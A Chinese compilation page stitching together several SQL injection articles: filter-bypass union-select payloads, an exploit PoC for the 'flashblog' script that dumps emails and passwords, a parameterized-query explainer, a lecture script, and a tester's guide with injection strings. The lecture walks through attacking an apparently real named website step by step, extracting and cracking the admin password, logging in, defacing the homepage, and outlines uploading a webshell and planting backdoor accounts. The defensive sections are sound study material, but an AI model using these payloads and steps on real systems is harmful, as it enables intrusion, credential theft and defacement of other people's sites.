以下是小编收集整理的浅谈新型的sql注入测试脚本安全(共含8篇),仅供参考,希望对大家有所帮助。同时,但愿您也能像本文投稿人“雨疏风骤”一样,积极向本站投稿分享好文章。
前段时间,帮别人看网站,习惯性的’,and 1=1 其实知道这种肯定被过滤,但还是测试了
结果被脑残反问还有什么方法,的确有些时候思维被固化了,很多东西需要变通。
php+mysql
首先说判断:
Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,等 都可用于判断
接着说注入
对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)
先说Union Select
对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?
可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去
查查相关资料,有异议的可给我留言.
当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:
id=1+union/*&name=*/select+1,2
代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2
这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻
下面说说Blind SqlIjection(盲注)
一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是
ord(mid(password,1,1))=56
在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据
此前,仍然向大家推荐一些新型的手法:
find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left(‘password’,1), 0×56) = 1
将这些函数套如子查询就是:
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false
老外NB 方法 还有 -.-
悲剧还是绕不过去,nnd。要是国内
的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version,database(),u
ser()),3,4,5,6–+-
来自 : < 16.her0_at_gmail.com >
日期 : 5月29日4时24分39秒-0000
('binary' encoding is not supported, stored as-is) ###############################################################################
#
# 姓名: flashblog SQL inyeccion
# 作者: her0
# Dork : “flashblog”, allinurl:flashblog.html
# Greetz : Komtec1,Freak,Knet,Boer,ka0x
#
###############################################################################
Proof of Concept :概念证明:
[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/*
该colums从主机到主机的不同:所有解决= D的
/PHP/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,nombreusuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/*/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/from/**/usuarios/*
/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/usuarios/*
############################################################################### ################################################## #############################
#
# 墨西哥到20,感谢所有我的朋友们,我爱威士忌XD法
# milw0rm.com/exploit...
############################################################################### ################################################## #############################
已经开始了学习牛腩新闻发布系统,在讲后台代码的时候讲了一些重构SQLHelper 的知识,存储过程和触发器等,这些以前都是接触过的,而 SQL 注入是以前没有注意过的,所以停下来总结学习一下 SQL 注入。
首先什么是 SQL 注入呢?
实战篇 ~~~~~~~~~~
SQL 注入概念
所谓SQL注入,就是通过把SQL命令插入到Web 表单 提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令,比如先前的很多影视网站泄露 VIP 会员密码大多就是通过 WEB 表单递交查询字符暴出的,这类表单特别容易受到 SQL 注入式攻击。
通俗的说就是,当在浏览器网页中输入一些可能是查询字符串的一部分时,这样就使得恶意破坏人可以指导一个网站的连接数据库的名称和里面的表,这就是由于拼接字符串引起的。在新闻发布系统中的小例子:
新闻类别类插入函数的代码
public bool Insert(string caName) { bool flag = false; string sql = “insert into category(name) values('” + caName + “')”;}; int res = sqlhelper.ExecuteNonQuery(sql, CommandType.Text); if (res >0) //代码段,连续两次按table键显示代码段 { flag = true; } return flag; }
如果是这样的话:在网页输入框中输入类似
—— 娱乐新闻 ')delete category where id=3-- 的语句就会发生 SQL 注入。
这样的话,就会在插入娱乐新闻的时候同时删除 id 为 3 的那条类别。这就是SQL 注入,造成了数据库的不安全,是因为正好拼接了字符串, insert intocategory(name) values( ' 娱乐新闻 ' ) delete category whereid=3-
解决方法是使用参数,将 sql 语句该成为:
///
新闻类别名称 ///
参数化查询为什么可以防止 SQL 注入?
1 、参数过滤,数据库中实际执行的 sql 语句2 、执行计划重用
因为参数化查询可以重用执行计划,并且如果重用执行计划的话, SQL所要表达的语义就不会变化,所以就可以防止 SQL 注入,如果不能重用执行计划,就有可能出现 SQL 注入,存储过程也是一样的道理,,因为可以重用执行计划,
扩展篇~~~~~~~~~~
SQL 注入原因
SQL 注入的产生原因通常表现在以下几方面:
1 、不当的类型处理
2 、不安全的数据库配置
3 、不合理的查询集处理
4 、不当的错误处理
5 、转义字符处理不合适
6 、多个提交处理不当
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL 语句进而执行 攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的影响
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。
防护SQL注入
既然存在SQL注入
的影响,那么怎样防止SQl注入呢?1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和
双“-”进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
总结篇~~~~~~~~~~
SQL注入,一听上去是多么专业的名词啊!可以如果要是有人故意因为这点漏洞就侵入数据库就不好了。同时也有各种各样的人在探寻SQL注入的方法,他们的手法相当灵活,让我们防不胜防。而我们的防护能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功防护了想要进行SQL注入的数据库才是高手与“菜鸟”的区别。
前言: ①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,
能力有限,不到之处请大家批评指正;
②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂
基本的 SQL 语句(想想海璐姐你就懂了);
③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;
④原创 文章 ,达内首发,希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail.com
=============以下是晨讲内容脚本,实战演练部分配以文字说明=============
大家早上好!今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:
第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;
第二讲:“实战演练:我们要在 互联网 上随机对网站进行友情检测,活学活用,举一反三”;
第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。
这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。
问:大家知道骇客们攻击网站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
下面,就让我们一起推开计算机中那另一扇不为人知的门---
一、纸上谈兵
(一)了解注入原理
为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。(二)架设注入环境
我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。
然后呢,我们要建立 测试 用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:
1.创建一张试验用的数据表:
CREATE TABLE users (
id int(11) NOT NULL AUTO_INCREMENT,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
email varchar(64) NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY username (username)
);
添加一条记录用于测试:
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@admin.com');
2.接下来,贴上登录界面的源代码:
Sql注入演示
当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。
3.验证模块代码如下:
登录验证
$conn=@mysql_connect(“localhost”,'root','') or die(“数据库连接失败!”);;
mysql_select_db(“injection”,$conn) or die(“您要选择的数据库不存在”);
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql=“select * from users where username='$name' and password='$pwd'”;
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header(“Location:manager.php”);
}else{
echo “您的用户名或密码输入有误,请重新登录!”;
}
?>
注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
(三)演示注入手法
到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
OK! 接下来将展开我们的重头戏:SQL注入
填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
select * from users where username='tarena' and password=md5('admin')
很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
select * from users where username='' or 1=1#' and password=md5('')
等价于
select * from users where username='' or 1=1
因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
select * from users
没错,该sql语句的作用是检索users表中的所有字段
果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
二、实战演练
OK,前面铺垫了那么多,算是给大家科普了,
现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
(一)积极备战
1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
www.guoshang.tk;
谷歌搜索小技巧:筛选关键字:“inurl:/news/read.php?id=”
(二)狼烟四起
1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
www.guoshang.tk/news/read.php?id=50
可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
www.guoshang.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
www.guoshang.tk/news/read.php?id=50
现在要判断数据库类型以及版本,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and ord(mid(version,1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
以下版本或者其他类型数据库。
4。爆字段。接着我们再构造如下语句来猜表中字段:
a. www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面,说明字段小于10
b. www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面,说明字段介于5和10之间
c. www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
d. www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是个管理员权限。
现在我们再用同样的手法查询用户名,密码,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
①先试下几个比较常用的目录;
②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序, 分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
③手工不通,借力工具。明小子,啊D,御剑,都可以。
9。这里我们发现此网站依然采用程序默认管理路径:
www.guoshang.tk/dede
输入用户名 admin ,密码 chinaadmin 成功登入。
接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
三、扩展部分
鉴于此讲内容危害性较大,不予演示。只简述其流程。
(一)webshell提权
二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
选项,上传我们实现准备的php网马文件(tarena.php);
③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
(二)暗修栈道
浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
①开启telnet服务
建立匿名账户,添加至超级管理员组;
②开启远程终端服务;
③自制木马触发事件...
因系统平台而异,这里不再赘言。
后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
②文中所述演示环境建立在同时满足两个条件下:
1.php配置文件中魔术引号已关闭;
2.建站程序中没有对用户输入字符进行过滤。
安全性测试是指机密的数据确保其机密性以及用户只能在其被授权的范围进行操作的这样一个过程
例如:
a 机密内容不暴露给不被授权的个人或用户实体
b 用户不能单方面有权限屏蔽掉网站的某一功能
安全性测试有哪些方面?
SQL Injection( SQL 注入)
Cross-site script(XSS) (跨站点脚本攻击)
CSRF (跨站点伪造请求)
URL跳转
Directory Traversal (目录遍历)
Email Header Injection (邮件标头注入)
exposed error messages(错误信息)
SQL Injection应该称为SQL指令植入式攻击,它是描述一个利用写入特殊SQL程序码攻击应用程序的动作.
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
如何判断sql注入存在的情况
通常情况下,SQL注入一般存在于带有参数传递的URL页面
例如:HTTP://xxx.xxx.xxx/abc.asp?id=XX
有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论,总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。
例如: 搜索页面
登录页面
提交评论页面等等.
判断过程:
带有参数传递的URL:
aipai.163.com/s/trade/orderDetail/?orderId=183004
提交查询的数据库SQL为:
select * from order where id=183004.
测试SQL注入是否存在方法:
1、附加一个单引号 : ’...ail.htm?oid=183004
查询的SQL:select * from orders where id=183004’运行异常
2、附加 “and 1=1”...ail.htm?oid=183004and 1=1,
查询的SQL: select * from orders where id=183004and 1=1 运行正常
3、附加“and 1=2” ...ail.htm?oid=183004and 1=2,
查询的SQL: select * from orders where id=183004and 1=2 运行异常
如果以上三步骤全面满足,那么一定存在SQL注入漏洞。
如何进行sql注入的测试?
对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中
的“FORM”标签来辨别是否还有参数传递.
注:在
< div>
< lab
el>用户名
< label>密码
< input type=”password“ name=”yourpwd“ value=”“/>
< input type=”submit“ value=”提交“>
< /div>
< /form.>
常用的SQL注入语句
根据实际情况,SQL注 入请求可以使用以下语句:
返回的是连接的数据库名 and db_name()>0
作用是获取连接用户名 and user>0
将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)—
' or 1=1- -
” or 1=1- -
or 1=1- -
' or 'a'='a
“ or ”a“=”a
') or ('a'='a
如何防止SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
1、转义敏感字符及字符串,SQL的敏感字符包括:
“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
2、屏蔽出错信息:阻止攻击者知道攻击的结果
3、在服务端正式处理之前提交数据的合法 性(数据类型,数据长度,敏感字符的校验)
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检
查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下 几项安全
性问题:
1、需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
2、需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不
包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
如何防范SQL注入:测试篇
首先,我们将SQL注入攻击能分为以下三种类型:
Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上;
Out-of-band:数据通过不同于SQL代码注入的方式获得(譬如通过邮件等)
推理:这种攻击是说并没有真正的数据传输,但攻击者可以通过发送特定的请求,重组返回的结果从而得到一些信息,
不论是哪种SQL注入,攻击者都需要构造一个语法正确的SQL查询,如果应用程序对一个不正确的查询返回了一个错误消息,那么就和容易重新构造初始的查询语句的逻辑,进而也就能更容易的进行注入;如果应用程序隐藏了错误信息,那么攻击者就必须对查询逻辑进行反向工程,即我们所谓的“盲SQL注入”
黑盒测试及示例:
这个测试的第一步是理解我们的应用程序在什么时候需要访问数据库,典型的需要访问数据库的时机是:
认证表单:输入用户名和密码以检查是否有权限
搜索引擎:提交字符串以从数据库中获取相应的记录
电子商务站点:获取某类商品的价格等信息
作为测试人员,我们需要列对所有输入域的值可能用于查询的字段做一个表单,包括那些POST请求的隐含字段,然后截取查询语句并产生错误信息。第一个测试往往是用一个单引号“‘”或是分号“;”,前者在SQL中是字符串终结符,如果应用程序没有过滤,则会产生一条错误信息;后者在SQL中是一条SQL语句的终结符,同样如果没有过滤,也会产生错误信息。在Microsoft SQL Server中,返回的错误信息一般是这样:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘’.
/target/target.asp, line 113
同样可用于测试的还有“--”以及SQL中的一些诸如“AND”的关键字,通常很常见的一种测试是在要求输入为数字的输入框中输入字符串,会返回如下的错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘tester’ to a column of data type int.
/target/target.asp, line 113
类似上面这样的出错返回信息能让我们知道很多数据库的信息,通常不会返回那么多信息,会返回诸如“500 Server Error”的信息,那就需要“盲SQL注入”了。注意,我们需要对所有可能存在SQL注入漏洞的输入域进行测试,并且在每个测试用例时只变化一个域的值,从而才能找到真正存在漏洞的输入域。
下面我们看一下标准的SQL注入测试是怎样的。
我们以下面的SQL查询为例:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
